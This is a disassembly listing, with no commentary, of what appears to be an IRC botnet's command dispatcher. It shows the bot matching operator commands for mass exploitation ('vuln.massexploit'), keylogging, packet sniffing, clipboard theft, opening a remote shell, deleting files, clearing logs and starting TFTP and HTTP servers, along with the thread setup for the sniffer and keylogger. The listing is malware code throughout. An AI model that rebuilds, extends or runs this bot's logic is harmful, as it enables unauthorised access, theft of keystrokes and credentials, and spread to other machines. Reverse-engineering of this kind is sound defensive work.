		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40787E
		push	edi
		push	dword ptr [ebp+8]
		call	sub_4124C0
		add	esp, 30h
		jmp	loc_40ADFC
; ---------------------------------------------------------------------------


loc_40AEED:				; CODE XREF: .nsp0:0040ADFEj
		mov	edi, 1FFh
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_413710
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_413710
		lea	eax, [ebp-119Ch]
		push	offset asc_421F4C ; " "
		push	eax
		call	sub_413668
		add	esp, 20h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp+18h], 1Fh


loc_40AF3D:				; CODE XREF: .nsp0:0040AF52j
		push	offset asc_421F4C ; " "
		push	ebx
		call	sub_413668
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp+18h]
		pop	ecx
		jnz	short loc_40AF3D
		mov	ecx, [ebp+esi-94h]
		lea	eax, [ebp+esi-94h]
		cmp	ecx, ebx
		jz	loc_40A7B4
		add	ecx, 3
		mov	[eax], ecx


loc_40AF6F:				; CODE XREF: .nsp0:0040AD84j
		mov	edi, [ebp+esi-94h]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+18h], edi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F785
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F785
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F763
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F763
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F69A
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F69A
		push	edi
		push	offset aEnz_version ; "enz.version"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F67C
		push	edi
		push	offset aEnz_ver	; "enz.ver"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F67C
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F57E
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F57E
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F57E
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F57E
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B09E
		push	dword ptr [ebp+esi-90h]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_42FA50
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B09E:				; CODE XREF: .nsp0:0040B084j
		push	edi
		push	offset dword_42FA40
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B0C7
		push	dword ptr [ebp+esi-90h]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_42FA34
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B0C7:				; CODE XREF: .nsp0:0040B0ADj
		push	edi
		push	offset dword_42FA2C
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B0F0
		push	dword ptr [ebp+esi-90h]
		push	1Ch
		push	offset dword_42FA20
		push	offset dword_42FA14
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B0F0:				; CODE XREF: .nsp0:0040B0D6j
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B119
		push	dword ptr [ebp+esi-90h]
		push	10h
		push	offset dword_42F9F0
		push	offset dword_42F9E0
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B119:				; CODE XREF: .nsp0:0040B0FFj
		push	edi
		push	offset dword_42F9D4
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B142
		push	dword ptr [ebp+esi-90h]
		push	0Ah
		push	offset dword_42F9C8
		push	offset dword_42F9BC
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B142:				; CODE XREF: .nsp0:0040B128j
		push	edi
		push	offset dword_42F9AC
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B16B
		push	dword ptr [ebp+esi-90h]
		push	0Bh
		push	offset dword_42F9A0
		push	offset dword_42F994
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B16B:				; CODE XREF: .nsp0:0040B151j
		push	edi
		push	offset dword_42F984
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B194
		push	dword ptr [ebp+esi-90h]
		push	0Fh
		push	offset dword_42F978
		push	offset dword_42F96C
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B194:				; CODE XREF: .nsp0:0040B17Aj
		push	edi
		push	offset dword_42F95C
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B1BD
		push	dword ptr [ebp+esi-90h]
		push	0Eh
		push	offset dword_42F950
		push	offset dword_42F944
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B1BD:				; CODE XREF: .nsp0:0040B1A3j
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B1E6
		push	dword ptr [ebp+esi-90h]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_42F928
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B1E6:				; CODE XREF: .nsp0:0040B1CCj
		push	edi
		push	offset aBox_findfile_o ; "box.findfile.off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F54F
		push	edi
		push	offset aBox_ff_off ; "box.ff.off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F54F
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F53A
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F53A
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B263
		push	dword ptr [ebp+esi-90h]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_42F8C8
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B263:				; CODE XREF: .nsp0:0040B249j
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B28C
		push	dword ptr [ebp+esi-90h]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42F8A0
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B28C:				; CODE XREF: .nsp0:0040B272j
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B2B5
		push	dword ptr [ebp+esi-90h]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B2B5:				; CODE XREF: .nsp0:0040B29Bj
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F524
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F524
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F503
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F503
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F4E1
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F4E1
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F499
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F499
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F45B
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F45B
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F424
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F424
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B403
		call	sub_407CC7
		test	eax, eax
		mov	eax, offset dword_42F7C4
		jnz	short loc_40B3D5
		mov	eax, offset dword_42F78C


loc_40B3D5:				; CODE XREF: .nsp0:0040B3CEj
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 1Ch
		jmp	loc_40F75B
; ---------------------------------------------------------------------------


loc_40B403:				; CODE XREF: .nsp0:0040B3C0j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F333
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F333
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F313
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F313
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F223
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F223
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F207
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F207
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F1D0
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F1D0
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F1A5
		push	edi
		push	offset aSi	; "si"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F1A5
		push	edi
		push	offset aEnz_beg0ne ; "enz.beg0ne`"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F16B
		push	edi
		push	offset aR0i0m	; "r0i0m`"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F16B
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F057
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F057
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFD3
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFD3
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFB6
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFB6
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EF9D
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EF9D
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EF56
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EF56
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B624
		push	dword ptr [ebp+esi-90h]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40F562
; ---------------------------------------------------------------------------


loc_40B624:				; CODE XREF: .nsp0:0040B60Aj
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B6B1
		cmp	[ebp-8], ebx
		jnz	short loc_40B654
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aLoginList ; "-[Login List]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 14h


loc_40B654:				; CODE XREF: .nsp0:0040B638j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40B659:				; CODE XREF: .nsp0:0040B69Fj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40B665
		mov	eax, offset aEmpty ; "<Empty>"


loc_40B665:				; CODE XREF: .nsp0:0040B65Ej
		push	eax
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_411EEE
		push	1
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40B659
		push	offset dword_42F604


loc_40B6A6:				; CODE XREF: .nsp0:0040F41Fj
		call	sub_408E17
		pop	ecx
		jmp	loc_40F7D2
; ---------------------------------------------------------------------------


loc_40B6B1:				; CODE XREF: .nsp0:0040B633j
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EF15
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EF15
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EEEA
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EEEA
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EEC6
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EEC6
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EE89
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EE89
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ECEF
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ECEF
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EBA3
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EBA3
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E8A4
		push	edi
		push	offset aVall	; "vall"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E8A4
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	loc_40A7B4
		push	dword ptr [ebp+18h]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E88B
		push	dword ptr [ebp+18h]
		push	offset aEnz_n	; "enz.n"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E88B
		push	dword ptr [ebp+18h]
		push	offset aEnz_join ; "enz.join"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E86B
		push	dword ptr [ebp+18h]
		push	offset aEnz_j	; "enz.j"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E86B
		push	dword ptr [ebp+18h]
		push	offset aEnz_part ; "enz.part"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E852
		push	dword ptr [ebp+18h]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E852
		push	dword ptr [ebp+18h]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E81B
		push	dword ptr [ebp+18h]
		push	offset aEnz_r	; "enz.r"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E81B
		push	dword ptr [ebp+18h]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E758
		push	dword ptr [ebp+18h]
		push	offset aThreads_k ; "threads.k"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E758
		push	dword ptr [ebp+18h]
		push	offset aClone_quit ; "clone.quit"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E6AD
		push	dword ptr [ebp+18h]
		push	offset aClone_q	; "clone.q"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E6AD
		push	dword ptr [ebp+18h]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E662
		push	dword ptr [ebp+18h]
		push	offset aClone_rn ; "clone.rn"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E662
		push	dword ptr [ebp+18h]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E64D
		push	dword ptr [ebp+18h]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E64D
		push	dword ptr [ebp+18h]
		push	offset aBox_open ; "box.open"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E623
		push	dword ptr [ebp+18h]
		push	offset aBox_o	; "box.o"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E623
		push	dword ptr [ebp+18h]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E5FE
		push	dword ptr [ebp+18h]
		push	offset aEnz_se	; "enz.se"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E5FE
		push	dword ptr [ebp+18h]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E56C
		push	dword ptr [ebp+18h]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E56C
		push	dword ptr [ebp+18h]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E540
		push	dword ptr [ebp+18h]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E540
		push	dword ptr [ebp+18h]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E4E5
		push	dword ptr [ebp+18h]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E4E5
		push	dword ptr [ebp+18h]
		push	offset aBox_delete ; "box.delete"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E4AE
		push	dword ptr [ebp+18h]
		push	offset aBox_del	; "box.del"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E4AE
		push	dword ptr [ebp+18h]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E493
		push	dword ptr [ebp+18h]
		push	offset aBox_fl	; "box.fl"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E493
		push	dword ptr [ebp+18h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E458
		push	dword ptr [ebp+18h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E458
		push	dword ptr [ebp+18h]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E40D
		push	dword ptr [ebp+18h]
		push	offset aBox_cm	; "box.cm"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E40D
		push	dword ptr [ebp+18h]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E388
		push	dword ptr [ebp+18h]
		push	offset aBox_rf	; "box.rf"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E388
		push	dword ptr [ebp+18h]
		push	offset aSniff	; "sniff"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40BC6F
		push	edi
		push	offset aOn	; "on"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40BC37
		push	18h
		call	sub_411BE2
		test	eax, eax
		pop	ecx
		jle	short loc_40BB64
		push	offset unk_42F380
		jmp	loc_40EBB4
; ---------------------------------------------------------------------------


loc_40BB64:				; CODE XREF: .nsp0:0040BB58j
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-4DCh], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jnz	short loc_40BBA6
		mov	esi, offset dword_425C08
		push	offset byte_432708
		push	esi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BBA6
		mov	esi, [ebp-8Ch]


loc_40BBA6:				; CODE XREF: .nsp0:0040BB88j
					; .nsp0:0040BB9Ej
		push	esi
		lea	eax, [ebp-4D8h]
		push	80h
		push	eax
		call	sub_41246A
		lea	eax, [ebp-2C8h]
		push	offset unk_42F33C
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	18h
		push	eax
		call	sub_41199A
		add	esp, 20h
		mov	[ebp-458h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4DCh]
		push	ebx
		push	eax
		push	offset loc_4024DC
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-458h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40BC26


loc_40BC10:				; CODE XREF: .nsp0:0040BC24j
		cmp	[ebp-44Ch], ebx
		jnz	loc_40F73A
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40BC10
; ---------------------------------------------------------------------------


loc_40BC26:				; CODE XREF: .nsp0:0040BC0Ej
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42F2EC
		jmp	loc_40F72B
; ---------------------------------------------------------------------------


loc_40BC37:				; CODE XREF: .nsp0:0040BB48j
		push	edi
		push	offset aOff	; "off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F73A
		push	ebx
		push	18h
		call	sub_411B95
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40BC65
		push	eax
		push	offset unk_42F29C
		jmp	loc_40F72B
; ---------------------------------------------------------------------------


loc_40BC65:				; CODE XREF: .nsp0:0040BC58j
		push	offset unk_42F260
		jmp	loc_40EBB4
; ---------------------------------------------------------------------------


loc_40BC6F:				; CODE XREF: .nsp0:0040BB33j
		push	dword ptr [ebp+18h]
		push	offset aBox_keylog ; "box.keylog"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40BDE6
		push	edi
		push	offset aOn	; "on"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BCE0
		push	edi
		push	offset aFile	; "file"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BCE0
		push	edi
		push	offset aOff	; "off"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F73A
		push	ebx
		push	1Ah
		call	sub_411B95
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40BCD6
		push	eax
		push	offset unk_42F204
		jmp	loc_40F72B
; ---------------------------------------------------------------------------


loc_40BCD6:				; CODE XREF: .nsp0:0040BCC9j
		push	offset unk_42F1C4
		jmp	loc_40EBB4
; ---------------------------------------------------------------------------


loc_40BCE0:				; CODE XREF: .nsp0:0040BC95j
					; .nsp0:0040BCA6j
		push	1Ah
		call	sub_411BE2
		test	eax, eax
		pop	ecx
		jle	short loc_40BCF6
		push	offset unk_42F190
		jmp	loc_40EBB4
; ---------------------------------------------------------------------------


loc_40BCF6:				; CODE XREF: .nsp0:0040BCEAj
		mov	eax, [ebp+0Ch]
		push	edi
		mov	[ebp-4DCh], eax
		mov	eax, [ebp-4]
		push	offset aFile	; "file"
		mov	[ebp-454h], eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BD25
		mov	dword ptr [ebp-450h], 1
		jmp	short loc_40BD2E
; ---------------------------------------------------------------------------


loc_40BD25:				; CODE XREF: .nsp0:0040BD17j
		mov	eax, [ebp-8]
		mov	[ebp-450h], eax


loc_40BD2E:				; CODE XREF: .nsp0:0040BD23j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jnz	short loc_40BD55
		mov	esi, offset dword_425C04
		push	offset byte_432708
		push	esi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BD55
		mov	esi, [ebp-8Ch]


loc_40BD55:				; CODE XREF: .nsp0:0040BD37j
					; .nsp0:0040BD4Dj
		push	esi
		lea	eax, [ebp-4D4h]
		push	80h
		push	eax
		call	sub_41246A
		lea	eax, [ebp-2C8h]
		push	offset unk_42F15C
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Ah
		push	eax
		call	sub_41199A
		add	esp, 20h
		mov	[ebp-4D8h], eax
		lea	eax, [ebp-10h]
